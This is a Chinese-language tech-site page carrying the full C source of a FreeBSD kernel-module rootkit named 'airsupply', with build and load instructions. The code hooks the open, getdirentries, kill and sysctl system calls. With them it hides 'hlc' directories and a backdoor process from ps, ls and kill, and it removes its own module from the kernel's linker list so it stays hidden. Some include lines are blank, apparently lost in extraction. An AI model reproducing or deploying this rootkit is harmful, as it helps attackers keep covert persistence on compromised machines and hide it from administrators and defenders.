| 操作系统 办公 实用知识 设计 开发 WEB开发 移动开发 数据库 软件工程 网管 安全 管理 信息化 答疑 渠道 |
kld的程序实现/*FreeBSD的kld就像Linux的lkm,能实现很多东西 linux下lkm的backdoor大鹰已经分析的很详悉了. 其实bsd下实现起来也差不多,只是代码的具体实现而已 最近把身心都给了bsd,所以也试着写点东西.把最近的感受 发泄一下撒,基础文章可以看小四的那篇freebsd kld编程指南 或者看/usr/share/examples/kld里面的列子,以及 freebsd的程序员开发手册.在/usr/share/doc/里面. 我的网站上有THC的那篇经典文章.如果要提高的话绝对不能错过. */ #include #include /*这个宏是必需的,在内核空间分配空间必需先定义这个宏*/ MALLOC_DEFINE(M_NEW_SYSCTL,"p_data","struct"); MALLOC_DEFINE(HLC_DIR,"dir","struct"); /*要隐藏的进程名,可以是我们的后门进程拉*/ #define HIDE_PROC "sshd"
#define hidename "hlc" #define hidelength 3 extern linker_file_list_t linker_files;/*谢谢cloud学长的指点*/ extern struct lock lock; extern int next_file_id; static int filehide(char*); static int prochide(char*); static void hide_module(void); static int get_pid(void); static int new_open(struct proc *,struct open_args *); static int new_getdirentrIEs(struct proc *,struct getdirentries_args *); static int new_sysctl(struct proc *p, struct sysctl_args *uap); static int new_kill(struct proc *p, struct kill_args *uap) ; /* *后门module至少要实现隐藏目录,隐藏进程,隐藏网络和隐藏自己 *网络的隐藏还没有作出来,呵呵,学习中,大家稍等 * * * */
static int get_pid(void) { struct proc *p;
p=allproc.lh_first; for (; p!=0; p=p->p_list.le_next) { if (strcmp(p->p_comm, HIDE_PROC)==0) { return p->p_pid; } } return -1; } /* 隐藏我们的后门模块 */ static void hide_module(void) { struct linker_file * lf; lockmgr(&lock, LK_SHARED, 0, curproc); (&linker_files)->tqh_first->refs--; TAILQ_FOREACH(lf, &linker_files, link) { if (!strcmp(lf->filename, "airsupply.ko")) { /*把加载的全局link file记数减一*/ next_file_id--; /* remove the entry*/ TAILQ_REMOVE(&linker_files, lf, link); break; } } lockmgr(&lock, LK_RELEASE, 0, curproc); } /* 是否为要隐藏的文件或目录 */ static int filehide(char *name) { char buf[hidelength+1]; bcopy(name,buf,hidelength); buf[hidelength]=''\0''; if(!strcmp(buf,hidename)) return 1; return 0; } /*是否为要隐藏的进程*/ static int prochide(char *name) { char hide[255]; sprintf(hide,"%d",get_pid()); if(!strcmp((char*)name,(char*)hide)) return 1; return 0; } /*新的kill的系统调用*/ static int new_kill(struct proc *p, struct kill_args *uap) { if (uap->pid==get_pid()) return ESRCH; else return kill(p, uap); } /*新的sysctl的系统调用*/ static int new_sysctl(struct proc *p, struct sysctl_args *uap) { int error, i, mib[4]; size_t size, newsize, recsize; struct kinfo_proc *p_data, *ptr; error = __sysctl(p,uap); error = copyin(uap->name, &mib, sizeof(mib)); if (error) return (error); /* 如果是用ps pid命令,pid为要隐藏的进程id的话,就返回空 */ if((mib[2] == KERN_PROC_PID) || (mib[2] == KERN_PROC_ARGS)) { if(mib[3]==get_pid()) { size = 0; copyout(&size,uap->oldlenp, sizeof(size)); return(0); } return 0; } error = userland_sysctl(p, mib, uap->namelen, uap->old, uap->oldlenp, 0, uap->new, uap->newlen, &size); if (error && error != ENOMEM) return (error);
if(!uap->oldlenp) return(error);
newsize = size; /*ps命令,隐藏我们的要隐藏的进程*/
{ MALLOC(p_data, struct kinfo_proc *, size, M_NEW_SYSCTL, M_NOWAIT); recsize = sizeof(struct kinfo_proc); copyin(uap->old,p_data,size); ptr = p_data; i=size; while(i>0) { i-=recsize; if(ptr->kp_proc.p_pid==get_pid()) /*是否为要隐藏的pid*/ { /*减掉要隐藏的进程信息的size*/ newsize -= sizeof(struct kinfo_proc);
if(i > 0) /*去掉要隐藏的进程信息*/ bcopy((char *)ptr + recsize, ptr, (i - recsize)); } if(i > 0) ptr = (struct kinfo_proc *)((char *)ptr + recsize); }
copyout(p_data, uap->old, newsize);
return 0; } return 0; }
/* * * * * * */
static int new_open(struct proc *p,register struct open_args *uap) { char name[256]; size_t size; if(copyinstr(uap->path,name,256,&size)==EFAULT) return(EFAULT); if(filehide(name)) return(ENOENT); return(open(p,uap));
} /* 新的getdirentries的系统调用,可以隐藏我们自己的目录和/proc里面的后门进程号 */ static int new_getdirentries(struct proc *p,register struct getdirentries_args *uap) { int size,count; struct dirent *dir,*current; getdirentries(p,uap); size=p->p_retval[0]; if(size>0) { MALLOC(dir,struct dirent *,size,HLC_DIR,M_NOWAIT); copyin(uap->buf,dir,size); current=dir; count=size; /*判断目录是否要被隐藏,要得话就把他从目录链表里面摘除,然后copy 回用户空间,这样就实现了隐藏目录*/ while((count>0)&&(current->d_reclen!=0)) { count-=current->d_reclen; if(filehide(current->d_name)||prochide(current->d_name)) { if(count!=0) { bcopy((char *)current+current->d_reclen,current,count); } size-=current->d_reclen; } if(count!=0) current=(struct dirent *)((char *)current+current->d_reclen); } p->p_retval[0]=size; copyout(dir,uap->buf,size); free(dir,HLC_DIR); } return 0; } static struct sysent new_getdir_sysent={ 4, new_getdirentries }; static struct sysent new_open_sysent={ 3, new_open }; static struct sysent new_kill_sysent={ 2, new_kill }; static struct sysent new_sysctl_sysent={ 6, new_sysctl }; static int load(module_t *module,int cmd,void *arg) { int error=0; switch(cmd) { case MOD_LOAD: { printf("install kern ok\n"); /*替换系统调用*/ sysent[SYS_open]=new_open_sysent; sysent[SYS_getdirentries]=new_getdir_sysent; sysent[SYS_kill]=new_kill_sysent; sysent[SYS___sysctl]=new_sysctl_sysent; /*隐藏掉自己*/ hide_module(); printf("begin hide self\n"); break; } case MOD_UNLOAD: { /*恢复旧的系统调用 */ sysent[SYS_open].sy_call=(sy_call_t *)open; sysent[SYS_getdirentries].sy_call=(sy_call_t *)getdirentries; sysent[SYS_kill].sy_call=(sy_call_t *)kill; sysent[SYS___sysctl].sy_call=(sy_call_t *)__sysctl; break; } default: { error=EINVAL; break; } } return error; } static moduledata_t airsupply_mod={ "airsupply", load, NULL }; DECLARE_MODULE(airsupply,airsupply_mod,SI_SUB_DRIVERS,SI_ORDER_MIDDLE);
SRCS=door.c KMOD=airsupply KO=${KMOD}.ko KLDMOD=t .include /*make * 然后kldload ./airsupply.ko 然后你随便在哪里建一个名为hlc的目录. 然后ls试试看 */
今日推荐
|
重点推荐
领军企业技术文库
+更多领军技术文库
最新专题
电子杂志订阅
| ||||||||